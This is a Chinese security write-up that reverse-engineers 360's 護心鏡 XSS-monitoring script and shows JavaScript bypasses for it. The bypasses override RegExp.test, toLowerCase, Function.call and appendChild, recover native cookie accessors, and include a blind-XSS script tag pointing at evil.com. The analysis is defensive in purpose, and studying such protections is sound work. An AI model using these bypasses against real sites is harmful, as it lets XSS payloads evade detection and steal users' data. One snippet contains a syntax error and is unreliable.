0x00 初識“護心鏡”

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官方介紹：

透過Hook XSS的常用函式,並監控DOM元素的建立,從而對整個頁面的js行為進行監控。當發現頁面中存在XSS攻擊行為時,可根據預置的選項,進行放行,提醒使用者選擇,阻攔三種處理方式,同時預警中心會收到一次事件的告警,安全人員可根據告警進行應急響應處理。

在研究如何繞過一個系統之前，不急於直接讀程式碼，先旁敲側擊看看這個系統大體都做了什麼。

官方介紹中，在指令碼載入前，需要執行一堆配置程式碼：

#!html
<script type="text/javascript">
var hxj_config = {
    project_key: "*****(平臺分配)",
    domain_white: ["0kee.360.cn"],
    enable_plugin: {
      cookie: 1,
      xsstester: 1,
      password: 1,
      fish: 1,
      webshell: 1,
      script: 1
    }
};
</script>
<script type="text/javascript" src="http://res.0kee.com/hxj.min.js"></script>

“project_key” 不用說就是一個標識站點的key，“domain_white”和名字一樣：白名單， 而“enable_plugin”表示了各個模組的開關。

透過http://res.0kee.com/hxj.min.js下載指令碼，發現經過uglify-js的混淆壓縮，將程式碼進行美化後對程式碼進行分析。

由於程式碼經過混淆，直接開看想必會有困難，在看程式碼之前，本想根據配置裡的6大模組逐個分析，結果幸運的是，這個指令碼並沒有對自定屬性名進行混淆，呈現如下：

#!js
...
}, s.Hook_CreateElement = function...
}, s.Hook_Image = function...
}, s.Hook_Source = function...
...

根據屬性名＋配置檔案的模組，可以看出護心鏡主要實現了以下幾個功能：

1. 對 XSS 經常用到的函式進行 HOOK，將傳遞進來的變數進行分析，是否有危險
2. 對頁面中 JS 執行的程式碼進行“行為標記”
3. 載入外部資源時對域名進行白名單校驗
4. 對危險行為產生報告向護心鏡後臺傳送
5. 觸發 XSS 或者載入外部 JS 時提示使用者，是否進行攔截

舉個例子：當一個 XSSer 對某後臺進行盲打時，嵌入了一串程式碼：

#!html
<script src=//evil.com/evil.js></script>

當管理員登入後臺時候觸發了這串程式碼，由於載入了“evil.com”這個未知域名的 js 指令碼，護心鏡彈出危險警告，在使用者確認後對指令碼進行阻攔。

從之後的程式碼分析中瞭解，HOOK 函式實現了以下功能：

模組	功能
Hook_CreateElement	對 CreateElement 方法進行 Hook
Hook_Image	對Image物件產生的例項進行 Setter 和 Getter 的 Hook
Hook_Source	對頁面 DOM 進行監控，對新生成的標籤進行來源檢測
Hook_Attribute	對元素的 setAttribute 方法進行 Hook
Hook_Element	對元素的 Setter 和 Getter 進行 Hook
Hook_Cookie	對 Cookie 的讀寫介面進行了 Hook
Hook_Xsstester	對常見的 alert、prompt 方法等進行 Hook
Hook_CSRFWebshell	對透過 CSRF 上傳 Webshell 進行攔截
Send	對護心鏡介面傳送報告

0x02 快速尋找通殺之法

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掃一遍程式碼，發現每個模組都有相應的弱點，但在那之前，

每個人都想知道快速通殺所有模組的方法，那麼如何快速找到通殺方法？

最好的方式是看看他們有什麼共通點：

（由於只有4個模組涉及攔截，那麼就看看他們是怎麼實現的）

+ Hook_CreateElement
  1. 重寫document.createElement
  2. 重寫createElement建立元素的setter和getter
  3. 對Setter進行tag（標籤）匹配，然後透過Check_domain進行白名單匹配
  4. 透過confirm通知，確定是否攔截
+ Hook_Image
  1. 重寫Image
  2. 重寫new Image 物件的getter和setter
  3. Check_domain白名單匹配
  4. 透過confirm通知，確定是否攔截
  5. 若不攔截：透過this.setAttribute實現 Setter 的賦值
+ Hook_Source
  1. 透過 MutationObserver 對 DOM 進行監聽
  2. 一旦 DOM 發生變化，對新增 Nodes（節點）進行校驗
  3. 透過tag匹配和Check_domain白名單匹配
  4. 透過confirm通知，確定是否攔截
  5. 若攔截則刪除該節點，否則放行
+ Hook_CSRFWebshell
  1. 重寫 XMLHttpRequest.prototype.send
  2. 正則匹配白名單
  3. 透過confirm通知，確定是否攔截

第一眼能看到的共同點就是最後一步：透過confirm彈出通知框，讓使用者選擇是否攔截。

假若直接重寫confirm，使其永遠都彈不出這個框，攔截自然也不會生效了！我們來試試：

#!js
Window.prototype.confirm = function () {return !1}

...遺憾的是，並沒有成功改寫，看來護心鏡還是做過一些防繞過的。

這不經讓人想到 defineProperty 這個方法。

果然，在指令碼最後看到了這樣一個方法s.defConstProp(window, "confirm", confirm)

看看 defConstProp 定義:

s.defConstProp = s.isWebkit ?
function(e, t, n) {
  Object.defineProperty(e, t, {
    value: n,
    configurable: !1,
    writable: !1,
    enumerable: !0
  })
} : function(e, t, n) {
  e[t] = n
};

透過 Object.defineProperty 將 confirm 進行了 writeable = false 的設定，這樣一來便無法重寫 confirm 了。

由於指令碼中僅僅是對 window 的變數 confirm 進行重寫，按理我們可以透過修改原型鏈上的 Window.prototype.confirm ,繼而刪除 window.confirm， 也可以達到同樣的效果，但注意到 configurable 這個引數也是 false，也無法執行delete confirm了。

既然如此，只好另闢蹊徑了。

我們來看看他們的第二個共同點：都經過一層字串合法校驗。

在 Hook_CreateElement、Hook_Image、Hook_Source 這三個模組中，都使用了 Check_domain 這個函式來檢驗 url 是否在白名單內

來看看 Check_domain 的定義：

#!js
s.Check_domain = function(e) {
  var t, n = !1;
  e = e.replace(/\s/g, ""), e = e.toLowerCase();
  if (e == s.white_tag || e.indexOf("://") == -1 || e.indexOf("chrome-extension://") == 0) return n = !0, n;
  for (var r = 0; r < s.domain_white.length; r++) {
    if (s.domain_white[r] == "" || s.domain_white[r].match(/[\!\@\#\$\%\^\&\?\>\<\|\{\}\[\]\(\)]/i)) continue;
    t = new RegExp("^http(|s)://([0-9a-zA-Z\\.]*\\.|)" + s.domain_white[r].replace(/\./g, "\\.").replace(/\-/g, "\\-") + "(/|\\?|:\\d{0,5})", "i");
    if (t.test(e)) {
      n = !0;
      break
    }
  }
  return n
}

可以看到使用了 RegExp 的 test 方法進行了正則匹配，再看看 Hook_CSRFWebshell 這個模組：

#!js
s.prototype.Hook_CSRFWebshell = function(e) {
  if (!XMLHttpRequest) return;
  var t = ["CSRF_WEBSHELL", "CSRF_WEBSHELL:"];
  s.CSRFWEBSHELL_alert_level = e, XMLHttpRequest.prototype.send = function(e) {
    for (i in s.webshell_black) {
      var n = new RegExp(s.webshell_black[i], "i");
      if (n.test(unescape(e))) {
        s.Report_w(t[0]), s.Report_w(t[1]), s.Report(e.match(n)[0]);
        if (s.CSRFWEBSHELL_alert_level == 0) {
          s._ajaxsend.call(this, e);
          return
        }
        if (s.CSRFWEBSHELL_alert_level == 1 && !confirm("護心鏡檢測到網頁正在向伺服器上傳危險檔案（webshell），是否攔截？")) {
          s._ajaxsend.call(this, e);
          return
        }
      }
    }
    s._ajaxsend.call(this, e)
  }
}

首先重寫了XMLHttpRequest原型物件的send方法，接著還是使用 RegExp.test 進行正則匹配。

如此，只要重寫 RegExp 的 test 方法，使其永遠返回 false，那麼這些攔截程式碼就會全部失效了：

#!js
RegExp.prototype.test = function(){return !1}

這就是第一種繞過方式，僅一行程式碼，就讓“【永別了,XSS攻擊!】”的護心鏡徹底失效了，看來想要根治 XSS 還任重道遠。

當然瞭如果自己想要使用 test 方法的話，事先應該將該方法儲存一下。

如果在繞過護心鏡的同時，又不想破壞網站業務程式碼（畢竟 RegExp 經常被用到），那麼可以擴充一下：

#!js
  _test = RegExp.prototype.test;
  RegExp.prototype.test = function (n) {
    n.slice(0, 4) === 'evil' && return _test.call(this, n);
    return !1;
  }
}

這樣可以實現自定義規則對內容是否放行。

同樣，在 Hook_CreateElement、Hook_Image、Hook_Source 這三個模組中，在進行白名單校驗前， 會對 tag （html標籤名：script、iframe等）進行匹配，若匹配不成功，則不會進入報警攔截流程， 程式碼如下（以Hook_Source為例）：

#!js
if (o.src || o.href || o.data)
  if (o.tagName 
    && (o.tagName.toLowerCase() == "frame"
      || o.tagName.toLowerCase() == "iframe"
      || o.tagName.toLowerCase() == "link"
      || o.tagName.toLowerCase() == "object"
      || o.tagName.toLowerCase() == "embed"
      || o.tagName.toLowerCase() == "img"
      || o.tagName.toLowerCase() == "source"
      || o.tagName.toLowerCase() == "video")) {
    //進入攔截流程...
  }

和劫持 RegExp 的做法相似，透過對 toLowerCase 方法的劫持，使其永遠匹配不上正確的標籤名，能達到同樣的效果：

#!js
String.prototype.toLowerCase = function () {
  return 'never';
}

此為第二種繞法。

除了這四個攔截模組之外，還有 Hook_Cookie 等其他幾個模組，這幾個模組主要作用是記錄最近的操作狀態， 用於攔截模組對攻擊進行分類，舉個例子：

1. 當檢測到有 Cookie 讀取操作，最近狀態列表中新增“讀cookie操作”
2. 當 Image().src 向外部傳送資料時，如果最近狀態有“讀cookie操作”，歸類為偷取cookie行為

逐個擊破小模組

除去以上的通殺方法，接下來看看如何用其他方法將這一個個模組逐個擊破

1. 突破Hook_Element：其人之道還治其身

#!js
s.Hook_Element = function(e, t, n, r, i) {
  var o = ["FISH", "GET_PWD"];
  Object.defineProperty(e, t, {
    get: function() {
      return s.log("Get Attr"), (n == "R" || n == "RW" || n == "WR") && r(i), this.getAttribute(t)
    },
    set: function(e) {
      return s.log("Set Attr"), (n == "W" || n == "RW" || n == "WR") && r(i, e), this.setAttribute(t, e)
    }
  })
}

可以看到該函式可以重寫元素的 set 和 get，並將行為記錄，最後透過 get/setAttibute 的方法來實現，那麼順著指令碼作者的方法， 透過 get/setAttibute 方法可直接繞過此類 Hook，這樣的 Hook 在 Image_Hook 裡也出現過。

2. 突破Hook_Cookie：更高效的讀寫Cookie

#!js
s.prototype.Hook_Cookie = function(e) {
  var t = ["GET_COOKIE", "SET_COOKIE"];
  s.Cookie_alert_level = e, Object.defineProperty(document, "cookie", {
    get: function() {
      s.Report(t[0]);
      var e = document.createElement("iframe");
      e.src = s.white_tag, document.documentElement.appendChild(e), e.contentDocument.write("null");
      var n = e.contentDocument.cookie;
      return document.documentElement.removeChild(e), n
    },
    set: function(e) {
      s.Report(t[1]);
      var n = document.createElement("iframe");
      return n.src = s.white_tag, document.documentElement.appendChild(n), n.contentDocument.write("null"), n.contentDocument.cookie = e, document.documentElement.removeChild(n), e
    }
  })
}

從程式碼中可以看出，使用了從 iframe 中讀寫 Cookie 來實現 鉤子函式中的 cookie 操作，和第一個鉤子的繞過方式相同，

直接利用作者的方法，使用 iframe 操作 cookie 就可以繞過鉤子函式了（事實上，經常可以護心鏡自己的程式碼邏輯繞過自身）。

當然了，這麼寫及其影響頁面效能，使用了護心鏡後，每一次有關 cookie 的操作都要在頁面中建立 iframe、刪除 iframe，不斷如此。

其實可以透過如下方法直接獲取 cookie 的讀寫介面：

#!js
Document.prototype.__lookupGetter__('cookie');
Document.prototype.__lookupSetter__('cookie');

3. 突破Hook_Attribute：原始介面招之即來

#!js
s.prototype.Hook_Attribute = function() {
    var e = ["setAttrib", "getAttrib", "FISH", "GET_PWD", "IMG.SRC:"];
    window.Element.prototype.setAttribute = function(t, n) {
      if (!isNaN(n) || n == s.white_tag || n.indexOf(s.report_uri) == 0 || n.indexOf(s.report_times_uri) == 0) {
        s._setAttribute.call(this, t, n);
        return
      }
      s.Report_w(e[0]), s.log("setAttrib"), s.log(n);
      if (this.tagName && t == "type" && this.tagName.toLowerCase() == "input") s.log("modify type"), s.Report_w(e[3]);
      else if (this.tagName && t == "src") {
        if (this.tagName.toLowerCase() == "img")
          s.log("SET SRC:" + n),
          n.indexOf("?") > 0 && !s.Check_domain(n) && n.split("?")[1].length > s.cookie_maxlen && s.Report(n);
      }
      else if (this.tagName.toLowerCase() == "frame" || this.tagName.toLowerCase() == "iframe") s.log("Frame src:" + n), s.Report_w("M_IFRAME_SRC");
      s._setAttribute.call(this, t, n)
    }, window.Element.prototype.getAttribute = function(t) {
      return s.log("getAttrib"), s.Hookpwd_tag && this.tagName && t == "value" && this.tagName.toLowerCase() == "input" && (s.log("getattr pwd"), s.Report_w(e[3])), s._getAttribute.call(this, t)
    }

將setAttibute方法重寫了，可以看到程式碼中不斷出現toLowerCase和Check_domain（你懂得），當然我們可以把原始介面再一次拿出來，

覆蓋當前被 Hook 的 setAttribute 和 getAttibute。

#!js
Function.prototype.call = function () {
  if (this.name === 'setAttribute')
    HTMLElement.prototype.setAttribute = this;//還原了原始介面setAttribute
  else if (this.name === 'getAttribute')
    HTMLElement.prototype.getAttribute = this;//還原了原始介面getAttribute
}

這樣就能獲得純天然無公害的 setAttribute 和 getAttribute 了 ：）

4. 突破Hook_Xsstester：媽媽再也不用擔心我到處 alert 了

#!js
s.prototype.Hook_Xsstester = function() {
  function t(e) {
    if (typeof e == "object") return !0;
    var t = new RegExp("(^(\\d)*$|^xss$|[[\\w\\_\\-\\|\\.\\%]*=[\\w\\_\\-\\|\\.\\%]*\\;]*|" + location.href + "|" + document.domain + "|" + document.cookie + ")", "i");
    return t.test(e)
  }
  var e = "XSS_TEST:";
  alert = function(n) {
    return t(n) && (s.log("XSS Test:alert"), s.Report_w(e), s.Report(escape(n))), s._alert.call(this, n)
  }, confirm = function(n) {
    return n.indexOf("護心鏡") > -1 ? s._confirm.call(this, n) : (t(n) && (s.log("XSS Test:confirm"), s.Report_w(e), s.Report(escape(n))), s._confirm.call(this, n))
  }, prompt = function(n) {
    return t(n) && (s.log("XSS Test:prompt"), s.Report_w(e), s.Report(escape(n))), s._prompt.call(this, n)
  }
}

Xsstester 就是用於記錄 Xsser 常用的 alert、prompt 等測試方法的，原理同樣是重寫了這兩個函式。

但是護心鏡這裡出現了兩個重大失誤，沒有考慮到以下兩個常見情況：

1. alert(/xss/)，Xsser 常用正則進行測試
2. alert('test')，Xsser 用自定字串進行測試

至於繞過，其實繞過 Xsstester 很簡單，由於重寫了 window.alert 等函式，透過原型鏈上的 alert 可以輕易獲取和還原原始方法。

#!js
Window.prototype.alert;

5. 突破Send： 阻止傳送一切報告

#!js
s.Send = function(e) {
  var t = e,
    n = "xHxOxOxKx";
  t = s.report_uri + "?f=" + escape(t), t = t + "&id=" + s.user_token, t = t + "&callback=" + s.callback_name;
  if (document.body) {
    document.getElementById(n) && document.getElementById(n).parentElement.removeChild(document.getElementById(n));
    var r = document.createElement("script");
    r.src = t, r.id = n, document.body.appendChild(r)
  } else window.onload = new function() {
    document.getElementById(n) && document.documentElement.removeChild(document.getElementById(n));
    var e = document.createElement("script");
    e.src = t, e.id = n, document.documentElement.appendChild(e)
  }
}

程式碼中使用建立 script 來傳送報告，那麼重寫 appendChild 就可以阻擋傳送報告了：

#!js
HTMLElement.prototype.appendChild = function (){return !1}

當然，實際使用最好不要這麼簡單粗暴（容易誤傷正常程式碼），稍微潤色一下無傷大雅。

0x03 總結

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• 針對護心鏡的防護，在引入攻擊程式碼前，加一小句程式碼即可繞過。
• 即便如此，護心鏡還是很有價值的，畢竟不是每一個攻擊者都是有心人。
• 目前的指令碼還待改善，文中提出的幾點再提一次：
  • 效能最佳化，比如：cookie讀寫。
  • 從原型鏈上開始 Hook。
  • 使用其他方式實現原生方法 == 不需要繞過，比如：用 setAttribute 實現 set、用 iframe 實現 cookie 操作。
• 安全攻防的戰場不知何時已經從後端轉向了前端，但不變的是：安全防護技術總是在不斷嘗試和繞過中提升。